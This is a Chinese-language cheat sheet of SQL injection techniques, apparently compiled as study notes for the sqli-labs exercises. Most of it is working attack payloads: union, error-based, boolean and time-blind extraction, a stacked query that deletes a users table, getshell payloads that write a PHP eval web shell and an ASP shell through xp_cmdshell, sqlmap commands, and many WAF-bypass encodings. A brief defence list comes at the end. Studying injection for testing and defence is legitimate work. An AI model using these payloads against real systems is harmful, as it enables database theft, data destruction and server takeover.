網上筆記的摘抄 后面會出一篇對一些 sql-labs 通關思考
0x01 SQL注入原理
當客戶端提交的數據未作處理或轉義直接帶入數據庫,就造成了sql注入。
攻擊者通過構造不同的sql語句來實現對數據庫的任意操作。
0x02 SQL注入的分類
按變量類型分:數字型和字符型
按HTTP提交方式分:POST注入、GET注入和Cookie注入
按注入方式分:布爾注入、聯合注入、多語句注入、報錯注入、延時注入、內聯注入
按數據庫類型分:
sql:oracle、mysql、mssql、access、sqlite、postgersql
nosql:mongodb、redis
0x03 MySQL與MSSQL及ACCESS之間的區別
1.MySQL5.0以下沒有information_schema這個默認數據庫
2.ACCESS沒有庫名,只有表和字段,並且注入時,后面必須跟表名,ACCESS沒有注釋
舉例:select 1,2,3 from `table_name` union select 1,2,3 from `table_name`
3.MySQL使用limit排序,ACCESS使用TOP排序(TOP在MSSQL也可使用)
0x04 判斷三種數據庫的語句
MySQL:and length(user())>10
ACCESS:and (select count(*)from MSysAccessObjects)>0
MSSQL:and (select count(*)from sysobjects)>0
0x05 基本手工注入流程
1.判斷注入點
數字型:id=2-1
字符型:' 、')、 '))、 "、 ")、 "))
注釋符:-- (這是--空格)、--+、/**/、
2.獲取字段數
order by 二分法聯合查詢字段數,觀察頁面變化從而確定字段數
order by 1
order by 50
group by 譯為分組,注入時也可使用,不過我沒用過
3.查看顯示位嘗試使用聯合注入
利用and 1=2或and 0及id=-12查看顯示數據的位置
替換顯示位改成SQL語句,查看信息(當前數據庫,版本及用戶名)
and 1=2 union select version(),2,3
再查詢所有數據庫
and 1=2 union select (select group_concat(schema_name)from information schema.schemata),2,3
查詢所有表名
union select (select group_concat(table_name)from information_schema.tables),2,3
查詢所有字段名
union select (select group_concat(column_name)from information_schema.columns),2,3
查詢字段內容
如:查詢test庫下users表的id及uname字段,用'~'區分id和uname以防字符連接到一起
union select(select group_concat(id,'~',uname)from test.users),2,3
0x06 報錯注入
通用報錯語句:(測試版本MySQL8.0.12,MySQL5.0,mariadb5.5版本下)
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
相關連接: https://www.cnblogs.com/wocalieshenmegui/p/5917967.html
POST中的報錯注入
0x07 布爾盲注
我在盲注中常用的函數:
1.char() 解ASCII碼
2.mid()截取字符串
舉例:mid('hello',1,3),從第1位開始截取3位,輸出位hel
3.substr()與mid()相同,都為截取字符串
4.count()計算查詢結果的行數
5.concat()查詢結果合並但保持原有行數
6.group_concat()查詢結果合並但都放在一行中
7.ascii() 查詢ascii碼
猜數據庫長度(利用二分法)
id=1 and (length(database()))>1
id=1 and (length(database()))>50
猜第一個字符,第二個字符,以此類推
and ascii(mid(database(),1,1))>1
and ascii(mid(database(),2,1))>1
查詢當前數據庫中所有表名
and (select count(table_name)from information_schema.tables where tables_schema=database())>1
and (select count(table_name)from information_schema.tables where tables_schema=database())>10
查詢第一個表的長度
and (select length(table_name)from information_schema.tables where tables_schema=database()limit 0,1)>10
查詢表的第一個字符
and ascii(mid((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))>1
查詢atelier表里有幾個字段
and(select count(column_name)from information_schema.columns where table_name = 'atelier' and table_schema = database())>2
查詢第一個字段長度
and length((select column_name from information_schema.columns where table_name='atelier' and table_schema= database()limit 0,1))>1
查詢字段第一個字符
and ascii(mid((select column_name from information_schema.columns where table_schema = 'db83231_asfaa' and TABLE_NAME ='atelier' limit 0,1),1,1))>105
查詢字段所有行數
and (select count(*) from db83231_asfaa.atelier)>4
查詢字段名的行數(查詢emails表,uname字段)
and (select count(uname)from security.emails)>7 查詢uname的行數
查詢字段內容
length((select username from security.users limit 0,1))>10
ascii(mid((select username from security.user limit 0,1),1,1))>100
將查詢到的ASCII碼放到mysql中查詢
舉例:select char(39);
0x08 延時盲注
利用sleep(3)和if(1=2,1,0)及case進行延時注入,示例:
select * from user where id='1' or sleep(3) %23
這個沒什么好說的
select * from user where id= 1 and if(length(version())>10,sleep(3),0);
如果長度大於10,則睡3秒,其他則0秒
select * from user where id= 1 and case length(version())>10 when 1 then sleep(3) else 0 end;
case定義條件,when 后面的1表示ture也代表真,當條件為真時,睡3秒,其他則0秒。
0x09 多語句注入
多語句意思就是可以執行多個語句,利用分號進行隔開
示例:id=1";WAITFOR DELAY '0:0:3';delete from users; --+
id=1';select if(length(user(),1,1)>1,sleep(3),1) %23
';select if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>1,sleep(3),1) %23
0x10 內聯注入
舉例:id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3
利用別名:
union select 1,2,3,4,a.id,b.id,* from(sys_admin as a inner join sys_admin as b on a.id=b.id)
0x11 getshell
id=-1' union select 1,2,(select '<?php @eval($_POST[1]);?>' into outfile '/var/www/html/404.php') --+
也可使用dumpfile進行寫入
outfile和dumpfile的區別:
outfile適合導庫,在行末尾會寫入新行並轉義,因此不能寫入二進制可執行文件。dumpfile只能執行一行數據。
數據庫寫入:
exec master..xp_cmdshell 'echo "<%eXECutegLobaL rEquEst(0)%>" > "c:\www\upload\Files\2019-11\404.asp"'
0x12 寬字節注入
當編碼位gbk時,%df%27或%81%27數據為空
就是說客戶端發送的數據編碼為gbk時,那么可能會吃掉轉義字符\反斜杠,閉合之后頁面恢復正常,存在寬字節注入
測試出來就可以使用sqlmap跑了,23333
加*構造注入點(比-p更穩定),讓sqlmap對構造注入點進行注入攻擊(*優先級更高)
0x13 二次編碼注入
代碼中有urldecode() 函數
%2527 先解碼成%27再解碼成'單引號
sqlmap -u http://192.168.100.141/index.php/author=123 --prefix "%2527" --suffix "%23"
-prefix為設置前綴 -suffix為設置后綴
設置后綴,防止sqlmap使用內聯注
使用自帶的腳本進行注入chardoubleencode.py
0x14 圖片上傳sql注入
猜結構,為時間戳加文件名
替換and sleep(3) 為*進行salmap
0x15 二次注入
abc' 數據經過addslashes過濾,單引號前面添加反斜杠abc\',但傳到數據庫的數據還是abc'
假如在如下場景中,我們瀏覽一些網站的時候,可以現在注冊見頁面注冊username=test',接下來訪問xxx.php?username=test',頁面返回id=22;
接下來再次發起請求xxx.php?id=22,這時候就有可能發生sql注入,比如頁面會返回MySQL的錯誤。
訪問xxx.php?id=test' union select 1,user(),3%23,獲得新的id=40,得到user()的結果,利用這種注入方式會得到數據庫中的值。
0x16 XFF頭注入
update user set loat_loginip = '8.8.8.8' where id =1 and sleep(5) #' where username = 'zs';
id根據網站用戶量取一個中間值,測試是否有注入,利用插件設置XFF頭,如果網站不報錯,可嘗試此注入
X-Forward-For:127.0.0.1' select 1,2,user()
0x19 常用過WAF技巧
1.特征字符大小寫(基本沒用)
UnIoN SeLcT 1,2,3
2.內聯注釋
id=-1/*!UNION*/%20//*!SELECT*/%201,2,3
3.特殊字符代替空格
%09 tab鍵(水平)、%0a 換行、%0c 新的一頁
%0d return功能、%0b tab鍵(垂直)、%a0空格
4.等價函數和邏輯符號
hex()、bin()==>ascii()
sleep()==>benchmark()
concat_ws()==>group_concat()
mid()、substr()==>substring()
@@version==>version()
@@datadir==>datadir()
邏輯符號:如and和or不能使用時,嘗試&&和||雙管道符。
5.特殊符號
反引號,select `version()`,繞過空格和正則
加號和點,"+"和"."代表連接,也可繞過空格和關鍵字過濾
@符號,用於定義變量,一個@代表用戶變量,@@代表系統變量
6.關鍵字拆分
'se'+'lec'+'t'
%S%E%L%C%T 1,2,3
?id=1;EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell"net user"')
!和():'or--+2=--!!!'2
id=1+(UnI)(oN)+(SeL)(EcT)
7.加括號繞過
小括號
union (select+1,2,3+from+users)%23
union(select(1),(2),(3)from(users))
id=(1)or(0x50=0x50)
id=(-1)union(((((((select(1),hex(2),hex(3)from(users))))))))
花括號
select{x user}from{x mysql.user}
id=-1 union select 1,{x 2},3
8.過濾and和or下的盲注
id=strcmp(left((select%20username%20from%20users%20limit%200,1),1),0x42)%23
id=strcmp(left((select+username+from+limit+0,1),1,0x42)%23
9.白名單繞過
攔截信息:
GET /pen/news.php?id=1 union select user,password from mysql.user
繞過:
GET /pen/news. php/admin?id=1 union select user,password from mysql. user
GET /pen/admin/..\news. php?id=1 union select user,password from mysql. user
10.HTTP參數控制
(1)HPP(HTTP Parmeter Polution)(重復參數污染)
舉例:
index.php?id=1 union select username,password from users
index.php?id=1/**/union/*&id=*/select/*&id=*/username.password/*&id=*/from/*&id=*/users
HPP又稱作重復參數污染,最簡單的是?uid=1&uid=2&uid=3,對於這種情況,不用的web服務器處理方式不同。
具體WAF如何處理,要看設置的規則,不過示例中最后一個有較大可能繞過
(2)HPF(HTTP Parmeter Fragment)(HTTP分割注入)
HTTP分割注入,同CRLF有相似之處(使用控制字符%0a、%0d等執行換行)
舉例:
/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users—
0x20 SQL注入防御
1.對用戶輸入的內容進行轉義
2.限制關鍵字的輸入,如單引號、雙引號、右括號等,限制輸入的長度
3.使用SQL語句預處理,對SQL語句進行預編譯,然后進行參數綁定,最后傳入參數
4.添加WAF,防火牆等